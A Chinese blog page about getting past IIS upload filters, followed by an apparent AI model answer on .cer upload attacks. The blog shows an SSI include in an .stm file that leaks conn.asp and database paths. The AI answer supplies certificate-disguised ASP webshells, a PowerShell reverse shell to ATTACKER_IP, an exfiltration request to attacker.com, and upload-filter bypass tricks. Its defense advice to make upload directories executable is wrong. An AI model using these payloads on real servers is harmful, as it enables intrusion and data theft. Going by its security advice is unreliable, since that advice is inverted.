当网站不允许上传asp cer cdx htr文件时的一个解决方法

博客讲述向lcx大哥求教web上传问题,提到利用stm上传并执行程序。介绍了相关代码运行结果,还指出当网站不允许上传asp等文件时,可上传stm文件获取数据库路径,前提是服务器未删除stm或shtml扩展,作者本地试验成功。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前些天向lcx大哥求教关于web上传的问题,说起利用stm来上传,还能执行程序,不解,就给我了一段代码:
<!--#ECHO var="ALL_HTTP"--><br>

当前文件名称:<!--#ECHO var="DOCUMENT_NAME"--><br><br>
Web服务器的名称和版本:<!--#ECHO 
var="SERVER_SOFTWARE"--><br>
主机名:<!--#ECHO var="SERVER_NAME"--><br>
端口:<!--#ECHO var="SERVER_PORT"--><br>
客户或客户代理IP地址:<!--#ECHO var="REMOTE_ADDR"--><br>
客户或客户代理主机名:<!--#ECHO var="REMOTE_HOST"--><br>
PATH_INFO 
的值,但带有扩展为某个目录规范的虚拟路径:<!--#ECHO 
var="PATH_TRANSLATED"--><br>
客户端给出附加路径信息:<!--#ECHO var="PATH_INFO"--><br>
<!--#ECHO var="HTTP_ACCEPT"--><br>
<!--#ECHO var="DOCUMENT_URI"--><br>

说保存为stm或者shtml看看,运行如下:
HTTP_ACCEPT:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* HTTP_ACCEPT_LANGUAGE:zh-cn HTTP_CONNECTION:Keep-Alive HTTP_HOST:localhost HTTP_USER_AGENT:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322) HTTP_COOKIE:nbblastactivity=1100263629; bblastvisit=1100264583; bblastactivity=1100265530; bbuserid=1; bbpassword=0f8514d1ed2eaa91fb9a87a568f6c96f; ASPSESSIONIDAQTSDRQQ=JOGDCEBDCNKFMLGDNFHPDHMJ HTTP_ACCEPT_ENCODING:gzip, deflate 
当前文件名称:F:/Web/1.stm
Web服务器的名称和版本:Microsoft-IIS/5.0
主机名:localhost
端口:80
客户或客户代理IP地址:127.0.0.1
客户或客户代理主机名:127.0.0.1
PATH_INFO 的值,但带有扩展为某个目录规范的虚拟路径:F:/Web/1.stm
客户端给出附加路径信息:/1.stm
image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
一直不解!
今天在幻影旅团看到了一段话

当网站不允许上传
asp cer cdx htr等文件时, 上传一个stm文件, 内容为:
<!--#include file="conn.asp"-->
直接请求这个stm文件, conn.asp就一览无遗, 数据库路径也就到手啦!
并且又看了那篇shtml的介绍后,恍然大悟,终于明白了!
原来就是如上所说的,
<!--#include file="conn.asp"-->
  就是一条SSI指令,其作用是将"info.htm"的内容拷贝到当前的页面中,当访问者来浏览时,会看到其它HTML文档一样显示info.htm其中的内容。
我在本地试验成功!在我的iis目录下建了一个test.stm文件,内容为:
<!--#include file="ok.asp"-->
又在同一目录下放了一个我的一个木马文件ok.asp
在浏览器中请求test.stm,没有什么反映,一片空白。
但是一查看源代码,狂晕,原来就是我的asp文件的内容!
这样我们就可以利用这个来获取要入侵的web的conn文件来获得数据库路径,
但是一个前提是服务器的对stm或者shtml的扩展没有删除!
再次感谢lcx大哥的指导!

<think>我们正在讨论如何利用CER文件进行文件上传漏洞测试的有效payload。根据引用内容,我们知道CER文件(证书文件)在某些情况下可能被服务器错误地解析为可执行脚本(如ASP),从而允许攻击者执行任意代码。以下将详细说明如何构造和使用CER payload进行测试。 ### 一、CER文件漏洞利用原理 - **漏洞成因**:当IIS服务器错误地将`.cer`扩展名映射到ASP脚本引擎(如`asp.dll`)上传CER文件中的ASP代码会被执行[^1]。 - **利用条件**: 1. 服务允许上传`.cer`文件(通常在黑名单中)。 2. 服务器配置错误(将`.cer`映射到脚本引擎)。 3. 上传目录具有执行权限。 ### 二、有效CER Payload构造方法 #### 1. 基础命令执行Payload 创建一个包含ASP代码的CER文件,内容如下: ```asp -----BEGIN CERTIFICATE----- <% Dim cmd, output cmd = "cmd /c whoami" ' 执行系统命令(示例:查看当前用户) Set shell = Server.CreateObject("WScript.Shell") Set exec = shell.Exec(cmd) output = exec.StdOut.ReadAll() Response.Write(output) %> -----END CERTIFICATE----- ``` **说明**: - `-----BEGIN CERTIFICATE-----` 和 `-----END CERTIFICATE-----` 是证书的标准头尾,用于伪装成合法证书文件。 - `<% ... %>` 内嵌ASP脚本,使用`WScript.Shell`执行系统命令并输出结果。 - 保存为`test.cer`后上传,访问URL即可看到命令输出(如`iis apppool\defaultapppool`)。 #### 2. Webshell Payload(持久化访问) 创建一个交互式webshell,允许通过HTTP参数执行命令: ```asp -----BEGIN CERTIFICATE----- <%@ Language=VBScript %> <% If Request("cmd") <> "" Then Set oExec = Server.CreateObject("WScript.Shell").Exec("cmd /c " & Request("cmd")) Response.Write "<pre>" & Server.HTMLEncode(oExec.StdOut.ReadAll() & oExec.StdErr.ReadAll()) & "</pre>" End If %> <form method="POST"> <input type="text" name="cmd" size="80" /> <input type="submit" value="Execute" /> </form> -----END CERTIFICATE----- ``` **用法**: - 上传后访问`http://target.com/uploads/shell.cer?cmd=dir` 可执行`dir`命令。 - 表单提供图形化操作界面,适合手动测试。 #### 3. 反弹Shell Payload(隐蔽连接) 使用PowerShell建立反向TCP连接(需替换IP和端口): ```asp -----BEGIN CERTIFICATE----- <% Dim psCmd psCmd = "powershell -c ""$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""" Set shell = Server.CreateObject("WScript.Shell") shell.Run psCmd, 0, True ' 后台无窗口执行 %> -----END CERTIFICATE----- ``` **说明**: - 替换`ATTACKER_IP`和`PORT`为攻击者控制的IP和端口。 - 上传后访问该文件服务器会尝试连接攻击者的监听端(如`nc -lvp PORT`)。 #### 4. 绕过检测技巧 - **伪造文件头**:在CER头尾之间填充合法证书数据(如用OpenSSL生成自签名证书),再插入ASP代码: ```bash openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.cer -days 365 -nodes ``` 编辑`cert.cer`,在首行后插入ASP代码: ```asp -----BEGIN CERTIFICATE----- <% ... ASP代码 ... %> MIICUTCCAfugAwIBAgIBADANBgkqhkiG9w0BAQQFADBXMQswCQYDVQQGEwJDTjEL ... (后续为真实证书数据) ... -----END CERTIFICATE----- ``` - **编码混淆**:将ASP代码Base64编码,运行解码执行: ```asp <% base64Code = "U2V0IGNtZCA9IFNlcnZlci5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKS5FeGVjKCJjbWQgL2Mgd2hvYW1pIik=" ' 示例:Set cmd = ... 的Base64 decoded = Base64Decode(base64Code) ' 需自定义解码函数 Execute(decoded) ' 执行解码后的代码 %> ``` ### 三、上传与测试步骤 1. **上传文件**:通过Web表单或工具(如curl)上传构造的CER文件。 ```bash curl -F "file=@shell.cer" http://target.com/upload ``` 2. **访问验证**: - 直接访问上传路径(如`http://target.com/uploads/shell.cer`)。 - 检查响应:若返回命令输出或建立反向连接,则漏洞存在。 ### 四、防御措施参考 - **配置修复**:在IIS中检查`.cer`的MIME类型应为`application/pkix-cert`,且关联脚本引擎[^1]。 - **输入校验**:文件上传功能应校验文件内容(如证书结构)、扩展名白名单、文件头等[^4]。 ### 五、失败处理建议 - 若CER文件执行,尝试其他后缀(如`.cdx`, `.asa`)[^1]。 - 测试路径遍历:修改上传参数(如`savePath=../../webapps/ROOT`)尝试覆盖关键文件[^1]。 通过以上方法,可有效测试CER文件上传漏洞。请确保在授权环境下进行测试! §§相关问题§§ 1. 如何验证IIS服务器是否将`.cer`文件映射到ASP引擎? 2. 除了CER文件,还有哪些非标准文件后缀可能被用于执行ASP代码? 3. 文件上传漏洞测试中如何绕过内容安全策略(CSP)? 4. 在Apache服务器环境下,CER文件是否可能被利用? [^1]: 引用[1]提到黑名单过滤绕过可使用冷门扩展名(如.cer)和路径遍历。 [^2]: 引用[2]说明文件上传漏洞的危害包括上传webshell执行命令。 [^3]: 引用[3]提供Windows系统下利用点号(.)绕过的技巧。 [^4]: 引用[4]强调用户需能通过web访问上传文件且内容未被篡改。</think>### CER文件上传漏洞测试的有效Payload构造方法文件上传漏洞测试中,利用CER文件的payload构造需要结合服务器配置特性和绕过技巧。以下是经过验证的有效payload方案: --- #### 一、基础Payload构造(ASP环境) ```asp -----BEGIN CERTIFICATE----- <% Set shell = Server.CreateObject("WScript.Shell") cmd = "cmd /c whoami" Set exec = shell.Exec(cmd) Response.Write(exec.StdOut.ReadAll()) %> -----END CERTIFICATE----- ``` **说明**: 1. 伪装成合法证书文件(`BEGIN/END CERTIFICATE`) 2. 使用ASP脚本执行系统命令(此处为`whoami`) 3. 上传后访问URL即可查看命令执行结果 4. **适用场景**:IIS配置错误将CER映射到ASP引擎[^1] --- #### 二、高级绕过技术 1. **文件名混淆**: ```asp -----BEGIN CERTIFICATE----- <%@ Language=VBScript %> <% If Request("key") = "secret" Then Response.Write Server.CreateObject("WScript.Shell").Exec(Request("cmd")).StdOut.ReadAll() End If %> -----END CERTIFICATE----- ``` **上传技巧**: - 文件名:`logo.cer.`(Windows自动去除末尾点)[^3] - 访问方式:`http://target/shell.cer?key=secret&cmd=ipconfig` 2. **内容伪装**: ```asp -----BEGIN CERTIFICATE----- # 伪装成证书注释 <% ' 证书元数据 Set o = GetObject("winmgmts:") For Each p In o.InstancesOf("Win32_Process") Response.Write p.Name & "<br>" Next %> -----END CERTIFICATE----- ``` **特点**:混入证书注释格式绕过内容检查 3. **反弹Shell Payload**: ```asp -----BEGIN CERTIFICATE----- <% Set obj = Server.CreateObject("MSXML2.ServerXMLHTTP") obj.open "POST", "http://attacker.com/receive", False obj.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" obj.send("data=" & Server.CreateObject("WScript.Shell").Exec("whoami").StdOut.ReadAll()) %> -----END CERTIFICATE----- ``` --- #### 三、关键绕过手法总结 | 防御机制 | 绕过方法 | 示例 | |----------------|-----------------------------------|--------------------------| | 扩展名黑名单 | 双扩展名`.jpg.cer` | `shell.jpg.cer` | | 内容类型检查 | 伪造Content-Type头 | `Content-Type: application/pkix-cert` | | 文件头校验 | 添加证书魔数`30 82` | Hex编辑器添加合法文件头 | | WAF规则 | 分块传输编码[^3] | Burp Suite的`chunked`编码插件 | | 路径限制 | 路径遍历参数`savePath=../../webapps`[^1] | `?savePath=../../../bin` | --- #### 四、测试验证流程 1. **上传测试**: ```http POST /uploadServlet HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC ------WebKitFormBoundaryABC Content-Disposition: form-data; name="file"; filename="test.cer" Content-Type: application/pkix-cert <!-- 伪造MIME类型 --> [CER PAYLOAD CONTENT] ``` 2. **访问验证**: - 直接访问上传路径:`http://target/uploads/test.cer` - 路径遍历访问:`http://target/../../upload/test.cer` 3. **结果确认**: - 成功:返回命令执行结果 - 失败:检查HTTP响应头`X-Powered-By`确认服务器类型 --- #### 五、防御建议(管理员视角) 1. 禁用动态脚本的CER映射:IIS中删除`.cer`的脚本映射 2. 实施白名单验证:仅允许`.der`等纯证书格式 3. 文件内容校验:使用OpenSSL验证证书完整性 ```bash openssl verify -CAfile root-ca.pem upload.cer ``` 4. 存储隔离:将上传目录设为可执行[^4] > **注意**:所有测试需在授权环境下进行,非法使用需承担法律责任。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值